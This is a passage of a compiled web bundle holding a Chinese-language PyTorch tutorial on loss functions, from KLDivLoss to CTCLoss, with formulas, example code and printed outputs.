target)\noutput.backward()\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"print('PoissonNLLLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"PoissonNLLLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(0.7358, grad_fn=)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"357-kl\u6563\u5ea6",children:"3.5.7 KL\u6563\u5ea6"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.KLDivLoss(size_average=None, reduce=None, reduction='mean', log_target=False)\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u8ba1\u7b97KL\u6563\u5ea6\uff0c\u4e5f\u5c31\u662f\u8ba1\u7b97\u76f8\u5bf9\u71b5\u3002\u7528\u4e8e\u8fde\u7eed\u5206\u5e03\u7684\u8ddd\u79bb\u5ea6\u91cf\uff0c\u5e76\u4e14\u5bf9\u79bb\u6563\u91c7\u7528\u7684\u8fde\u7eed\u8f93\u51fa\u7a7a\u95f4\u5206\u5e03\u8fdb\u884c\u56de\u5f52\u901a\u5e38\u5f88\u6709\u7528\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570:"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\uff1a\u8ba1\u7b97\u6a21\u5f0f\uff0c\u53ef\u4e3a ",(0,t.jsx)(e.code,{children:"none"}),"/",(0,t.jsx)(e.code,{children:"sum"}),"/",(0,t.jsx)(e.code,{children:"mean"}),"/",(0,t.jsx)(e.code,{children:"batchmean"}),"\u3002"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"none\uff1a\u9010\u4e2a\u5143\u7d20\u8ba1\u7b97\u3002\n\nsum\uff1a\u6240\u6709\u5143\u7d20\u6c42\u548c\uff0c\u8fd4\u56de\u6807\u91cf\u3002\n\nmean\uff1a\u52a0\u6743\u5e73\u5747\uff0c\u8fd4\u56de\u6807\u91cf\u3002\n\nbatchmean\uff1abatchsize \u7ef4\u5ea6\u6c42\u5e73\u5747\u503c\u3002\n"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\uff1a"})}),"\n",(0,t.jsxs)(e.p,{children:["$\n\\begin{aligned}\nD_{\\mathrm{KL}}(P, Q)=\\mathrm{E}",(0,t.jsx)(e.em,{children:"{X \\sim P}\\left[\\log \\frac{P(X)}{Q(X)}\\right] &=\\mathrm{E}"}),"{X \\sim P}[\\log P(X)-\\log Q(X)] \\\n&=\\sum_{i=1}^{n} P\\left(x_{i}\\right)\\left(\\log P\\left(x_{i}\\right)-\\log Q\\left(x_{i}\\right)\\right)\n\\end{aligned}\n$"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"inputs = torch.tensor([[0.5, 0.3, 0.2], [0.2, 0.3, 0.5]])\ntarget = torch.tensor([[0.9, 0.05, 0.05], [0.1, 0.7, 0.2]], dtype=torch.float)\nloss = nn.KLDivLoss()\noutput = loss(inputs,target)\n\nprint('KLDivLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"KLDivLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(-0.3335)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"358-marginrankingloss",children:"3.5.8 MarginRankingLoss"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.MarginRankingLoss(margin=0.0, size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u8ba1\u7b97\u4e24\u4e2a\u5411\u91cf\u4e4b\u95f4\u7684\u76f8\u4f3c\u5ea6\uff0c\u7528\u4e8e\u6392\u5e8f\u4efb\u52a1\u3002\u8be5\u65b9\u6cd5\u7528\u4e8e\u8ba1\u7b97\u4e24\u7ec4\u6570\u636e\u4e4b\u95f4\u7684\u5dee\u5f02\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570:"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"margin"}),"\uff1a\u8fb9\u754c\u503c\uff0c$x_{1}$ \u4e0e$x_{2}$ \u4e4b\u95f4\u7684\u5dee\u5f02\u503c\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\uff1a\u8ba1\u7b97\u6a21\u5f0f\uff0c\u53ef\u4e3a none/sum/mean\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\uff1a"})}),"\n",(0,t.jsx)(e.p,{children:"$\n\\operatorname{loss}(x 1, x 2, y)=\\max (0,-y *(x 1-x 2)+\\operatorname{margin})\n$"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"loss = nn.MarginRankingLoss()\ninput1 = torch.randn(3, requires_grad=True)\ninput2 = torch.randn(3, requires_grad=True)\ntarget = torch.randn(3).sign()\noutput = loss(input1, input2, target)\noutput.backward()\n\nprint('MarginRankingLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"MarginRankingLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(0.7740, grad_fn=)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"359-\u591a\u6807\u7b7e\u8fb9\u754c\u635f\u5931\u51fd\u6570",children:"3.5.9 \u591a\u6807\u7b7e\u8fb9\u754c\u635f\u5931\u51fd\u6570"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.MultiLabelMarginLoss(size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u5bf9\u4e8e\u591a\u6807\u7b7e\u5206\u7c7b\u95ee\u9898\u8ba1\u7b97\u635f\u5931\u51fd\u6570\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570:"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\uff1a\u8ba1\u7b97\u6a21\u5f0f\uff0c\u53ef\u4e3a none/sum/mean\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\uff1a"}),"\n$\n\\operatorname{loss}(x, y)=\\sum_{i j} \\frac{\\max (0,1-x[y[j]]-x[i])}{x \\cdot \\operatorname{size}(0)}\n$"]}),"\n",(0,t.jsx)(e.p,{children:"$\n\\begin{array}{l}\n\\text { \u5176\u4e2d, } i=0, \\ldots, x \\cdot \\operatorname{size}(0), j=0, \\ldots, y \\cdot \\operatorname{size}(0), \\text { \u5bf9\u4e8e\u6240\u6709\u7684 } i \\text { \u548c } j \\text {, \u90fd\u6709 } y[j] \\geq 0 \\text { \u5e76\u4e14 }\\\ni \\neq y[j]\n\\end{array}\n$"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"loss = nn.MultiLabelMarginLoss()\nx = torch.FloatTensor([[0.9, 0.2, 0.4, 0.8]])\n# for target y, only consider labels 3 and 0, not after label -1\ny = torch.LongTensor([[3, 0, -1, 1]])# \u771f\u5b9e\u7684\u5206\u7c7b\u662f\uff0c\u7b2c3\u7c7b\u548c\u7b2c0\u7c7b\noutput = loss(x, y)\n\nprint('MultiLabelMarginLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"MultiLabelMarginLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(0.4500)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"3510-\u4e8c\u5206\u7c7b\u635f\u5931\u51fd\u6570",children:"3.5.10 \u4e8c\u5206\u7c7b\u635f\u5931\u51fd\u6570"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.SoftMarginLoss(size_average=None, reduce=None, reduction='mean')torch.nn.(size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u8ba1\u7b97\u4e8c\u5206\u7c7b\u7684 logistic \u635f\u5931\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570:"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\uff1a\u8ba1\u7b97\u6a21\u5f0f\uff0c\u53ef\u4e3a none/sum/mean\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\uff1a"})}),"\n",(0,t.jsx)(e.p,{children:"$\n\\operatorname{loss}(x, y)=\\sum_{i} \\frac{\\log (1+\\exp (-y[i] \\cdot x[i]))}{x \\cdot \\operatorname{nelement}()}\n$"}),"\n",(0,t.jsxs)(e.p,{children:["$\n",(0,t.jsx)(e.br,{}),"\n\\text { \u5176\u4e2d, } x . \\text { nelement() \u4e3a\u8f93\u5165 } x \\text { \u4e2d\u7684\u6837\u672c\u4e2a\u6570\u3002\u6ce8\u610f\u8fd9\u91cc } y \\text { \u4e5f\u6709 } 1 \\text { \u548c }-1 \\text { \u4e24\u79cd\u6a21\u5f0f\u3002 }\n",(0,t.jsx)(e.br,{}),"\n$"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"inputs = torch.tensor([[0.3, 0.7], [0.5, 0.5]]) # \u4e24\u4e2a\u6837\u672c\uff0c\u4e24\u4e2a\u795e\u7ecf\u5143\ntarget = torch.tensor([[-1, 1], [1, -1]], dtype=torch.float) # \u8be5 loss \u4e3a\u9010\u4e2a\u795e\u7ecf\u5143\u8ba1\u7b97\uff0c\u9700\u8981\u4e3a\u6bcf\u4e2a\u795e\u7ecf\u5143\u5355\u72ec\u8bbe\u7f6e\u6807\u7b7e\n\nloss_f = nn.SoftMarginLoss()\noutput = loss_f(inputs, target)\n\nprint('SoftMarginLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"SoftMarginLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(0.6764)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"3511-\u591a\u5206\u7c7b\u7684\u6298\u9875\u635f\u5931",children:"3.5.11 \u591a\u5206\u7c7b\u7684\u6298\u9875\u635f\u5931"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.MultiMarginLoss(p=1, margin=1.0, weight=None, size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u8ba1\u7b97\u591a\u5206\u7c7b\u7684\u6298\u9875\u635f\u5931"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570:"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\uff1a\u8ba1\u7b97\u6a21\u5f0f\uff0c\u53ef\u4e3a none/sum/mean\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"p\uff1a"}),"\u53ef\u9009 1 \u6216 2\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"weight"}),"\uff1a\u5404\u7c7b\u522b\u7684 loss \u8bbe\u7f6e\u6743\u503c\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"margin"}),"\uff1a\u8fb9\u754c\u503c"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\uff1a"})}),"\n",(0,t.jsx)(e.p,{children:"$\n\\operatorname{loss}(x, y)=\\frac{\\sum_{i} \\max (0, \\operatorname{margin}-x[y]+x[i])^{p}}{x \\cdot \\operatorname{size}(0)}\n$"}),"\n",(0,t.jsx)(e.p,{children:"$\n\\begin{array}{l}\n\\text { \u5176\u4e2d, } x \\in{0, \\ldots, x \\cdot \\operatorname{size}(0)-1}, y \\in{0, \\ldots, y \\cdot \\operatorname{size}(0)-1} \\text {, \u5e76\u4e14\u5bf9\u4e8e\u6240\u6709\u7684 } i \\text { \u548c } j \\text {, }\\\n\\text { \u90fd\u6709 } 0 \\leq y[j] \\leq x \\cdot \\operatorname{size}(0)-1, \\text { \u4ee5\u53ca } i \\neq y[j] \\text { \u3002 }\n\\end{array}\n$"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"inputs = torch.tensor([[0.3, 0.7], [0.5, 0.5]]) \ntarget = torch.tensor([0, 1], dtype=torch.long) \n\nloss_f = nn.MultiMarginLoss()\noutput = loss_f(inputs, target)\n\nprint('MultiMarginLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"MultiMarginLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(0.6000)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"3512-\u4e09\u5143\u7ec4\u635f\u5931",children:"3.5.12 \u4e09\u5143\u7ec4\u635f\u5931"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.TripletMarginLoss(margin=1.0, p=2.0, eps=1e-06, swap=False, size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u8ba1\u7b97\u4e09\u5143\u7ec4\u635f\u5931\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u4e09\u5143\u7ec4:"})," \u8fd9\u662f\u4e00\u79cd\u6570\u636e\u7684\u5b58\u50a8\u6216\u8005\u4f7f\u7528\u683c\u5f0f\u3002<\u5b9e\u4f531\uff0c\u5173\u7cfb\uff0c\u5b9e\u4f532>\u3002\u5728\u9879\u76ee\u4e2d\uff0c\u4e5f\u53ef\u4ee5\u8868\u793a\u4e3a< ",(0,t.jsx)(e.code,{children:"anchor"}),", ",(0,t.jsx)(e.code,{children:"positive examples"})," , ",(0,t.jsx)(e.code,{children:"negative examples"}),">"]}),"\n",(0,t.jsxs)(e.p,{children:["\u5728\u8fd9\u4e2a\u635f\u5931\u51fd\u6570\u4e2d\uff0c\u6211\u4eec\u5e0c\u671b\u53bb",(0,t.jsx)(e.code,{children:"anchor"}),"\u7684\u8ddd\u79bb\u66f4\u63a5\u8fd1",(0,t.jsx)(e.code,{children:"positive examples"}),"\uff0c\u800c\u8fdc\u79bb",(0,t.jsx)(e.code,{children:"negative examples "})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570:"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\uff1a\u8ba1\u7b97\u6a21\u5f0f\uff0c\u53ef\u4e3a none/sum/mean\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"p\uff1a"}),"\u53ef\u9009 1 \u6216 2\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"margin"}),"\uff1a\u8fb9\u754c\u503c"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\uff1a"})}),"\n",(0,t.jsx)(e.p,{children:"$\nL(a, p, n)=\\max \\left{d\\left(a_{i}, p_{i}\\right)-d\\left(a_{i}, n_{i}\\right)+\\operatorname{margin}, 0\\right}\n$"}),"\n",(0,t.jsxs)(e.p,{children:["$\n\\text { \u5176\u4e2d, } d\\left(x_{i}, y_{i}\\right)=\\left|\\mathbf{x}",(0,t.jsx)(e.em,{children:"{i}-\\mathbf{y}"}),"{i}\\right|_{\\text {\u30fb }}\n$"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"triplet_loss = nn.TripletMarginLoss(margin=1.0, p=2)\nanchor = torch.randn(100, 128, requires_grad=True)\npositive = torch.randn(100, 128, requires_grad=True)\nnegative = torch.randn(100, 128, requires_grad=True)\noutput = triplet_loss(anchor, positive, negative)\noutput.backward()\nprint('TripletMarginLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"TripletMarginLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(1.1667, grad_fn=)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"3513-hingembeddingloss",children:"3.5.13 HingEmbeddingLoss"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.HingeEmbeddingLoss(margin=1.0, size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u5bf9\u8f93\u51fa\u7684embedding\u7ed3\u679c\u505aHing\u635f\u5931\u8ba1\u7b97"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570:"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\uff1a\u8ba1\u7b97\u6a21\u5f0f\uff0c\u53ef\u4e3a none/sum/mean\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"margin"}),"\uff1a\u8fb9\u754c\u503c"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\uff1a"})}),"\n",(0,t.jsxs)(e.p,{children:["$\nl_{n}=\\left{\\begin{array}{ll}\nx_{n}, & \\text { if } y_{n}=1 \\\n\\max \\left{0, \\Delta-x_{n}\\right}, & \\text { if } y_{n}=-1\n\\end{array}\\right.\n$\n",(0,t.jsx)(e.strong,{children:"\u6ce8\u610f\u4e8b\u9879\uff1a"})," \u8f93\u5165x\u5e94\u4e3a\u4e24\u4e2a\u8f93\u5165\u4e4b\u5dee\u7684\u7edd\u5bf9\u503c\u3002"]}),"\n",(0,t.jsx)(e.p,{children:"\u53ef\u4ee5\u8fd9\u6837\u7406\u89e3\uff0c\u8ba9\u4e2a\u8f93\u51fa\u7684\u662f\u6b63\u4f8byn=1,\u90a3\u4e48loss\u5c31\u662fx\uff0c\u5982\u679c\u8f93\u51fa\u7684\u662f\u8d1f\u4f8by=-1\uff0c\u90a3\u4e48\u8f93\u51fa\u7684loss\u5c31\u662f\u8981\u505a\u4e00\u4e2a\u6bd4\u8f83\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"loss_f = nn.HingeEmbeddingLoss()\ninputs = torch.tensor([[1., 0.8, 0.5]])\ntarget = torch.tensor([[1, 1, -1]])\noutput = loss_f(inputs,target)\n\nprint('HingEmbeddingLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"HingEmbeddingLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(0.7667)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"3514-\u4f59\u5f26\u76f8\u4f3c\u5ea6",children:"3.5.14 \u4f59\u5f26\u76f8\u4f3c\u5ea6"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.CosineEmbeddingLoss(margin=0.0, size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u5bf9\u4e24\u4e2a\u5411\u91cf\u505a\u4f59\u5f26\u76f8\u4f3c\u5ea6"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570:"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\uff1a\u8ba1\u7b97\u6a21\u5f0f\uff0c\u53ef\u4e3a none/sum/mean\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"margin"}),"\uff1a\u53ef\u53d6\u503c[-1,1] \uff0c\u63a8\u8350\u4e3a[0,0.5] \u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\uff1a"})}),"\n",(0,t.jsx)(e.p,{children:"$\n\\operatorname{loss}(x, y)=\\left{\\begin{array}{ll}\n1-\\cos \\left(x_{1}, x_{2}\\right), & \\text { if } y=1 \\\n\\max \\left{0, \\cos \\left(x_{1}, x_{2}\\right)-\\text { margin }\\right}, & \\text { if } y=-1\n\\end{array}\\right.\n$\n\u5176\u4e2d,\n$\n\\cos (\\theta)=\\frac{A \\cdot B}{|A||B|}=\\frac{\\sum_{i=1}^{n} A_{i} \\times B_{i}}{\\sqrt{\\sum_{i=1}^{n}\\left(A_{i}\\right)^{2}} \\times \\sqrt{\\sum_{i=1}^{n}\\left(B_{i}\\right)^{2}}}\n$"}),"\n",(0,t.jsx)(e.p,{children:"\u8fd9\u4e2a\u635f\u5931\u51fd\u6570\u5e94\u8be5\u662f\u6700\u5e7f\u4e3a\u4eba\u77e5\u7684\u3002\u5bf9\u4e8e\u4e24\u4e2a\u5411\u91cf\uff0c\u505a\u4f59\u5f26\u76f8\u4f3c\u5ea6\u3002\u5c06\u4f59\u5f26\u76f8\u4f3c\u5ea6\u4f5c\u4e3a\u4e00\u4e2a\u8ddd\u79bb\u7684\u8ba1\u7b97\u65b9\u5f0f\uff0c\u5982\u679c\u4e24\u4e2a\u5411\u91cf\u7684\u8ddd\u79bb\u8fd1\uff0c\u5219\u635f\u5931\u51fd\u6570\u503c\u5c0f\uff0c\u53cd\u4e4b\u4ea6\u7136\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"loss_f = nn.CosineEmbeddingLoss()\ninputs_1 = torch.tensor([[0.3, 0.5, 0.7], [0.3, 0.5, 0.7]])\ninputs_2 = torch.tensor([[0.1, 0.3, 0.5], [0.1, 0.3, 0.5]])\ntarget = torch.tensor([1, -1], dtype=torch.float)\noutput = loss_f(inputs_1,inputs_2,target)\n\nprint('CosineEmbeddingLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"CosineEmbeddingLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(0.5000)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"3515-ctc\u635f\u5931\u51fd\u6570",children:"3.5.15 CTC\u635f\u5931\u51fd\u6570"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.CTCLoss(blank=0, reduction='mean', zero_infinity=False)\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u7528\u4e8e\u89e3\u51b3\u65f6\u5e8f\u7c7b\u6570\u636e\u7684\u5206\u7c7b"]}),"\n",(0,t.jsx)(e.p,{children:'\u8ba1\u7b97\u8fde\u7eed\u65f6\u95f4\u5e8f\u5217\u548c\u76ee\u6807\u5e8f\u5217\u4e4b\u95f4\u7684\u635f\u5931\u3002CTCLoss\u5bf9\u8f93\u5165\u548c\u76ee\u6807\u7684\u53ef\u80fd\u6392\u5217\u7684\u6982\u7387\u8fdb\u884c\u6c42\u548c\uff0c\u4ea7\u751f\u4e00\u4e2a\u635f\u5931\u503c\uff0c\u8fd9\u4e2a\u635f\u5931\u503c\u5bf9\u6bcf\u4e2a\u8f93\u5165\u8282\u70b9\u6765\u8bf4\u662f\u53ef\u5206\u7684\u3002\u8f93\u5165\u4e0e\u76ee\u6807\u7684\u5bf9\u9f50\u65b9\u5f0f\u88ab\u5047\u5b9a\u4e3a "\u591a\u5bf9\u4e00"\uff0c\u8fd9\u5c31\u9650\u5236\u4e86\u76ee\u6807\u5e8f\u5217\u7684\u957f\u5ea6\uff0c\u4f7f\u5176\u5fc5\u987b\u662f\u2264\u8f93\u5165\u957f\u5ea6\u3002'}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570:"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\uff1a\u8ba1\u7b97\u6a21\u5f0f\uff0c\u53ef\u4e3a none/sum/mean\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"blank"}),"\uff1ablank label\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"zero_infinity"}),"\uff1a\u65e0\u7a77\u5927\u7684\u503c\u6216\u68af\u5ea6\u503c\u4e3a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"# Target are to be padded\nT = 50 # Input sequence length\nC = 20 # Number of classes (including blank)\nN = 16 # Batch size\nS = 30 # Target sequence length of longest target in batch (padding length)\nS_min = 10 # Minimum target length, for demonstration purposes\n\n# Initialize random batch of input vectors, for *size = (T,N,C)\ninput = torch.randn(T, N, C).log_softmax(2).detach().requires_grad_()\n\n# Initialize random batch of targets (0 = blank, 1:C = classes)\ntarget = torch.randint(low=1, high=C, size=(N, S), dtype=torch.long)\n\ninput_lengths = torch.full(size=(N,), fill_value=T, dtype=torch.long)\ntarget_lengths = torch.randint(low=S_min, high=S, size=(N,), dtype=torch.long)\nctc_loss = nn.CTCLoss()\nloss = ctc_loss(input, target, input_lengths, target_lengths)\nloss.backward()\n\n\n# Target are to be un-padded\nT = 50 # Input sequence length\nC = 20 # Number of classes (including blank)\nN = 16 # Batch size\n\n# Initialize random batch of input vectors, for *size = (T,N,C)\ninput = torch.randn(T, N, C).log_softmax(2).detach().requires_grad_()\ninput_lengths = torch.full(size=(N,), fill_value=T, dtype=torch.long)\n\n# Initialize random batch of targets (0 = blank, 1:C = classes)\ntarget_lengths = torch.randint(low=1, high=T, size=(N,), dtype=torch.long)\ntarget = torch.randint(low=1, high=C, size=(sum(target_lengths),), dtype=torch.long)\nctc_loss = nn.CTCLoss()\nloss = ctc_loss(input, target, input_lengths, target_lengths)\nloss.backward()\n\nprint('CTCLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',loss)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"CTCLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(16.0885, grad_fn=)\n"})})]})}function h(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(a,{...n})}):a(n)}},7169:(n,e,s)=>{s.d(e,{A:()=>r});const r=s.p+"assets/images/3.5.1lossfunciton-24b85c349438c3ed522ead54b5340e62.png"},25613:(n,e,s)=>{s.d(e,{A:()=>r});const r=s.p+"assets/images/3.5.2-325562f3d43de00833781903c0c1a8d2.png"},28453:(n,e,s)=>{s.d(e,{R:()=>o,x:()=>l});var r=s(96540);const t={},i=r.createContext(t);function o(n){const e=r.useContext(i);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:o(n.components),r.createElement(i.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git 